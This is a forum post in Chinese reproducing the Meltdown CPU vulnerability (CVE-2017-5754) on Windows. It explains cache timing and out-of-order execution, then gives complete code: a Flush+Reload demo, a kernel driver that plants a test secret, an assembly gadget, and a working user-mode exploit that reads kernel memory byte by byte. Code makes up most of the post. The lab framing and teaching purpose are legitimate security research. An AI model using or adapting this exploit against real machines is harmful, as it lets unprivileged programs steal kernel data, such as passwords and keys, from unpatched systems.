首页
社区
课程
招聘
[原创]CVE-2017-5754 Meltdown 复现
2023-1-27 23:14 10014

[原创]CVE-2017-5754 Meltdown 复现

2023-1-27 23:14
10014

视频讲解
GitHub代码

 

页表条目中有一个 U/S 位,内核空间的地址会将这个位设置为 0,所以只有当 CPU 切换到内核模式时,这些内存才能被访问,应用程序访问这些地址会产生异常。

 

这个机制让操作系统将内核和应用程序隔离开来,因而系统能将内核映射到进程的虚拟地址空间,在保证数据安全的情况下,提高系统调用的效率。

 

但是 Meltdown 漏洞熔化了硬件机制所规定的安全边界,让用户程序得以访问到映射到内核空间的数据,U/S 位没有起作用。这破坏了我们之前对于 CPU 的基本假设,本来安全的操作系统变得不再安全。

 

图片描述

Flush+Reload

Flush+Reload 不是 Meltdown,也不是 Meltdown 的成果,是一种比较好实现的利用 Meltdown 的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <excpt.h>
#include <intrin.h>
#include <stdint.h>
 
uint8_t probe_array[256][4096]; // 探针数组
uint64_t access_time[256];      // 记录访问时间
 
int
main()
{
    uint8_t secret = 42;
    uint8_t* p = &secret;
 
    for (size_t i = 0; i < 256; i++)
        _mm_clflush(&probe_array[i]);
 
    __try
    {
        *(uint32_t*)NULL = 0;
        probe_array[*p][0]++;
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {}
 
    for (size_t i = 0; i < 256; i++)
    {
        uint32_t aux;
        uint64_t a = __rdtscp(&aux);
        probe_array[i][0]++;
        uint64_t b = __rdtscp(&aux);
        access_time[i] = b - a;
    }
 
    for (size_t i = 0; i < 256; i++)
        printf("%llu,", access_time[i]);
}

当程序来到第 20 行,读取了非法内存地址,在触发异常之前的这一小段时间,后续的指令可能会被乱序执行。

  • 如果 Windows 解决了异常,重新回到这个地方,继续执行第 21 行,那么 CPU 就可以直接利用乱序执行的结果,节省一些时间。
  • 如果 Windows 没有解决,而是将执行权交还给程序,让程序执行异常处理块,也就是第 23 行,那么 CPU 就必须丢弃乱序执行的结果,让异常之后的代码看起来没有被执行过。

乱序执行的时候 probe_array 的数据可能已经从内存取出,更新到缓存中了。访问已经缓存的数据要比直接访问内存快得多,所以我们可以通过判断访问数据的时间,探测指定地址的内存是否已经被缓存了。

 

图片描述

Meltdown

用一句话概括 Meltdown:在乱序执行时,有些 CPU 忘记检查 U/S 位了,导致数据被读取了,虽然操作会被撤销,但数据会被缓存,产生了副作用,可利用 Flush+Reload 等方法利用这个副作用探测到内核的数据。

复现

准备秘密数据

编写一个驱动,在内核中申请一片内存,存放秘密数据,用来给 ring3 用 Meltdown 盗取。驱动还启动了一个线程,不断读写这片内存,迫使 CPU 缓存这些数据,提高盗取的成功率。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include "win10.h"
#include "x64.h"
#include "secret.h"
 
PWSTR Secret;
HANDLE ThreadHandle;
BOOLEAN ThreadStopFlag = FALSE;
 
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
    DbgPrint("再见! %wZ\n", &DriverObject->DriverName);
    ThreadStopFlag = TRUE;
    ZwWaitForSingleObject(ThreadHandle, FALSE, NULL);
    ZwClose(ThreadHandle);
    ExFreePool(Secret);
}
 
VOID
StartRoutine(PVOID StartContext)
{
    UNREFERENCED_PARAMETER(StartContext);
 
    KeSetSystemAffinityThread(1);
 
    UINT32 Junk = 0;
    size_t SecretLength = wcslen(Secret);
    LARGE_INTEGER Inteval = { .QuadPart = -10000 };
 
    while (!ThreadStopFlag)
    {
        for (size_t i = 0; i < SecretLength; i++)
        {
            Junk ^= Secret[i];
            Junk++;
            KeDelayExecutionThread(KernelMode, FALSE, &Inteval);
        }
    }
 
    PsTerminateSystemThread(STATUS_SUCCESS);
}
 
NTSTATUS
DriverEntry(PDRIVER_OBJECT  DriverObject, PUNICODE_STRING RegistryPath)
{
    UNREFERENCED_PARAMETER(RegistryPath);
 
    DbgPrint("你好! %wZ\n", &DriverObject->DriverName);
    DriverObject->DriverUnload = DriverUnload;
 
    Secret = ExAllocatePool2(POOL_FLAG_NON_PAGED, 4096, 'xxxx');
    if (!Secret) return STATUS_MEMORY_NOT_ALLOCATED;
 
    wcscpy(Secret, SecretData);
 
    NTSTATUS Status = PsCreateSystemThread(&ThreadHandle,
        0, NULL, NULL, NULL,
        StartRoutine, NULL
    );
 
    if (!NT_SUCCESS(Status))
    {
        ExFreePool(Secret);
        return Status;
    }
 
    DbgPrint("Secret @ %p\n", Secret);
 
    return STATUS_SUCCESS;
}

Meltdown

ring3 利用 Meltdown 的核心函数是 void OutOfOrderExecution(void* target, void* probe_array, void* null);

1
2
3
4
5
6
7
8
9
10
11
.CODE
 
OutOfOrderExecution PROC
    mov   r8,  qword ptr [r8]
    movzx rax, byte ptr [rcx]
    shl   rax, 12
    mov   al,  byte ptr [rdx + rax]
    ret
OutOfOrderExecution ENDP
 
END

使用方法是

1
2
3
4
5
__try
{
    OutOfOrderExecution(target, probe_array, NULL);
}
__except (EXCEPTION_EXECUTE_HANDLER) {}

调用后 probe_array 中的一些行会被缓存,统计每一行的访问时间,即可探测出一个位的数据。完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#include <stdio.h>
#include <intrin.h>
#include <excpt.h>
#include <stdint.h>
#include <locale.h>
#include <Windows.h>
 
uint8_t probe_array[256][4096];
uint64_t access_time[256];
 
void OutOfOrderExecution(void* target, void* probe_array, void* null);
 
uint8_t
Steal(uint8_t* target)
{
    for (size_t retries = 0; retries < 30000; retries++)
    {
        for (size_t i = 0; i < 256; i++)
        {
            _mm_clflush(&probe_array[i]);
            _mm_pause();
        }
 
        __try
        {
            OutOfOrderExecution(target, probe_array, NULL);
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {}
 
        for (size_t i = 0; i < 256; i++)
        {
            uint32_t aux = 0;
            uint64_t a = __rdtscp(&aux);
            probe_array[i][0]++;
            uint64_t b = __rdtscp(&aux);
            access_time[i] = b - a;
        }
 
        size_t idx_min = 0;
        for (size_t i = 0; i < 256; i++)
        {
            if (access_time[i] < access_time[idx_min]) idx_min = i;
            _mm_pause();
        }
 
        if (access_time[idx_min] < 100 && idx_min != 0)
        {
            printf(" => %02X retries=%-5zd access_time=%llu\n"
                , (uint32_t)idx_min
                , retries
                , access_time[idx_min]
            );
            return (uint8_t)idx_min;
        }
 
        _mm_pause();
    }
 
    printf(" => 00\n");
    return 0;
}
 
int
main(int argc, char* argv[])
{
    if (argc < 2)
    {
        printf("USAGE: meltdown target\n");
        return 1;
    }
 
    uint8_t* target = NULL;
    if (sscanf_s(argv[1], "%p", &target) != 1)
    {
        printf("USAGE: meltdown target\n");
        return 1;
    }
 
    SetProcessAffinityMask(GetCurrentProcess(), 1);
 
    uint8_t buffer[32] = { 0 };
 
    for (size_t i = 0; i < sizeof(buffer); i++)
    {
        printf("Steal#%-2zd", i);
        buffer[i] = Steal(target + i);
    }
 
    for (size_t i = 0; i < sizeof(buffer); i++)
    {
        printf("%02X", (uint32_t)buffer[i]);
        printf((i + 1) % 16 == 0 || i + 1 == sizeof(buffer) ? "\n" : " ");
    }
 
    setlocale(LC_CTYPE, "");
 
    wchar_t* secret = (wchar_t*)buffer;
    for (size_t i = 0; i < sizeof(buffer) / sizeof(wchar_t); i++)
        putwchar(secret[i]);
    putchar('\n');
}

[培训]《安卓高级研修班(网课)》月薪三万计划

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回